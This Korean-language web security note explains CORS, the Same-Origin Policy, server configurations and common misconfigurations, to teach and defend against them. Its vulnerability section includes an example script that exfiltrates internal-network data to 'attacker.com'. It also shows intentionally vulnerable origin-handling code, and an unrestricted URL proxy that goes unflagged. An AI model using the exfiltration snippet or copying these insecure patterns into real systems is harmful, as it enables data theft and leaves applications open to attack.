상위: Web Security
요약
CORS(Cross-Origin Resource Sharing)는 브라우저가 다른 출처(Origin)의 리소스 접근을 제어하는 보안 메커니즘입니다. 기본적으로 Same-Origin Policy에 의해 차단되지만, 서버가 명시적으로 허용하면 접근이 가능합니다.
Same-Origin Policy (SOP)
Origin이란?
https://www.example.com:443/path/page.html
↓ ↓ ↓
Protocol Host Port
같은 Origin = Protocol + Host + Port 모두 일치
Origin 비교 예시
| URL | 같은 Origin? | 이유 |
|---|---|---|
https://example.com/page1 | ✅ 기준 | - |
https://example.com/page2 | ✅ 같음 | 경로만 다름 |
http://example.com/page1 | ❌ 다름 | Protocol 다름 |
https://api.example.com/ | ❌ 다름 | Host 다름 (서브도메인) |
https://example.com:8080/ | ❌ 다름 | Port 다름 |
SOP가 차단하는 것
// https://myapp.com 에서 실행
// ❌ 차단됨 - 다른 Origin의 API 호출
fetch('https://api.other.com/data')
// ❌ 차단됨 - 다른 Origin의 응답 읽기
iframe.contentDocument // (다른 origin iframe)
// ✅ 허용됨 - 같은 Origin
fetch('https://myapp.com/api/data')
CORS 동작 원리
Simple Request (단순 요청)
조건:
- 메서드: GET, HEAD, POST
- 헤더: Accept, Accept-Language, Content-Language, Content-Type
- Content-Type: text/plain, multipart/form-data, application/x-www-form-urlencoded
┌─────────────────┐ ┌─────────────────┐
│ Browser │ │ Server │
│ (myapp.com) │ │ (api.other.com)│
└────────┬────────┘ └────────┬────────┘
│ │
│ 1. GET /data │
│ Origin: https://myapp.com │
│─────────────────────────────────────▶│
│ │
│ 2. Response │
│ Access-Control-Allow-Origin: * │
│◀─────────────────────────────────────│
│ │
│ 3. 브라우저가 CORS 헤더 확인 │
│ 허용되면 응답 전달 │
Preflight Request (사전 요청)
조건:
- PUT, DELETE, PATCH 등 메서드
- 커스텀 헤더 (Authorization, X-Custom-Header)
- Content-Type: application/json
┌─────────────────┐ ┌─────────────────┐
│ Browser │ │ Server │
└────────┬────────┘ └────────┬────────┘
│ │
│ 1. OPTIONS /api/data (Preflight) │
│ Origin: https://myapp.com │
│ Access-Control-Request-Method: POST │
│ Access-Control-Request-Headers: Content-Type
│─────────────────────────────────────▶│
│ │
│ 2. Preflight Response │
│ Access-Control-Allow-Origin: https://myapp.com
│ Access-Control-Allow-Methods: POST, GET
│ Access-Control-Allow-Headers: Content-Type
│ Access-Control-Max-Age: 86400 │
│◀─────────────────────────────────────│
│ │
│ 3. 실제 요청 (허용된 경우) │
│ POST /api/data │
│ Content-Type: application/json │
│─────────────────────────────────────▶│
│ │
│ 4. 실제 응답 │
│◀─────────────────────────────────────│
CORS 헤더
응답 헤더 (서버 → 브라우저)
| 헤더 | 설명 | 예시 |
|---|---|---|
Access-Control-Allow-Origin | 허용할 Origin | https://myapp.com 또는 * |
Access-Control-Allow-Methods | 허용할 메서드 | GET, POST, PUT, DELETE |
Access-Control-Allow-Headers | 허용할 헤더 | Content-Type, Authorization |
Access-Control-Allow-Credentials | 쿠키 전송 허용 | true |
Access-Control-Expose-Headers | 접근 가능한 응답 헤더 | X-Custom-Header |
Access-Control-Max-Age | Preflight 캐시 시간 | 86400 (24시간) |
요청 헤더 (브라우저 → 서버)
| 헤더 | 설명 |
|---|---|
Origin | 요청 출처 |
Access-Control-Request-Method | Preflight에서 실제 사용할 메서드 |
Access-Control-Request-Headers | Preflight에서 실제 사용할 헤더 |
서버 설정
Node.js (Express)
const cors = require('cors');
// 모든 Origin 허용 (개발용)
app.use(cors());
// 특정 Origin만 허용 (운영용)
app.use(cors({
origin: ['https://myapp.com', 'https://admin.myapp.com'],
methods: ['GET', 'POST', 'PUT', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization'],
credentials: true, // 쿠키 허용
maxAge: 86400
}));
Python (Flask)
from flask_cors import CORS
# 모든 Origin 허용
CORS(app)
# 특정 Origin만 허용
CORS(app, resources={
r"/api/*": {
"origins": ["https://myapp.com"],
"methods": ["GET", "POST", "PUT", "DELETE"],
"allow_headers": ["Content-Type", "Authorization"],
"supports_credentials": True
}
})
Nginx
location /api/ {
add_header Access-Control-Allow-Origin "https://myapp.com" always;
add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE" always;
add_header Access-Control-Allow-Headers "Content-Type, Authorization" always;
add_header Access-Control-Allow-Credentials "true" always;
# Preflight 요청 처리
if ($request_method = OPTIONS) {
add_header Access-Control-Max-Age 86400;
add_header Content-Length 0;
return 204;
}
}
CORS 보안 취약점
1. 와일드카드 남용
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true ← 동시 사용 불가!
문제: *와 credentials: true는 함께 사용 불가
실수: Origin을 동적으로 *처럼 처리
# 취약한 코드
@app.after_request
def add_cors(response):
origin = request.headers.get('Origin')
response.headers['Access-Control-Allow-Origin'] = origin # 모든 Origin 허용!
response.headers['Access-Control-Allow-Credentials'] = 'true'
return response
2. Origin 검증 우회
# 취약한 검증
allowed = ['https://myapp.com']
origin = request.headers.get('Origin')
# 부분 문자열 매칭 (취약)
if 'myapp.com' in origin: # https://myapp.com.evil.com도 통과!
allow_cors()
안전한 검증:
if origin in allowed: # 정확한 매칭
allow_cors()
3. Null Origin 허용
Access-Control-Allow-Origin: null
문제: file:// 프로토콜이나 샌드박스 iframe에서 Origin: null 전송 가능
공격: 로컬 HTML 파일로 공격
4. 내부 네트워크 접근
// 공격자 사이트에서
fetch('http://192.168.1.1/admin/config')
.then(response => response.text())
.then(data => {
// 내부 네트워크 데이터 탈취
fetch('https://attacker.com/steal?data=' + data);
});
방어: 내부 API는 CORS 비활성화 또는 엄격한 Origin 검증
Credentials와 CORS
credentials: 'include' 사용 시
fetch('https://api.other.com/data', {
credentials: 'include' // 쿠키 전송
});
서버 요구사항:
Access-Control-Allow-Origin: https://myapp.com # * 사용 불가!
Access-Control-Allow-Credentials: true
우회 방법 (정상적인)
1. 프록시 서버 사용
// 프론트엔드 → 자체 백엔드 → 외부 API
fetch('/api/proxy?url=https://external-api.com/data')
# 백엔드 프록시
@app.route('/api/proxy')
def proxy():
url = request.args.get('url')
# 서버에서는 CORS 제한 없음
response = requests.get(url)
return response.json()
2. JSONP (레거시)
<script src="https://api.other.com/data?callback=handleData"></script>
<script>
function handleData(data) {
console.log(data);
}
</script>
주의: GET만 가능, 보안 취약, 현재는 권장하지 않음
CORS 디버깅
브라우저 콘솔 에러
Access to fetch at 'https://api.com/data' from origin 'https://myapp.com'
has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header
is present on the requested resource.
확인 방법
# Preflight 요청 테스트
curl -X OPTIONS https://api.com/data \
-H "Origin: https://myapp.com" \
-H "Access-Control-Request-Method: POST" \
-H "Access-Control-Request-Headers: Content-Type" \
-v
# 응답 헤더 확인
< Access-Control-Allow-Origin: https://myapp.com
< Access-Control-Allow-Methods: POST, GET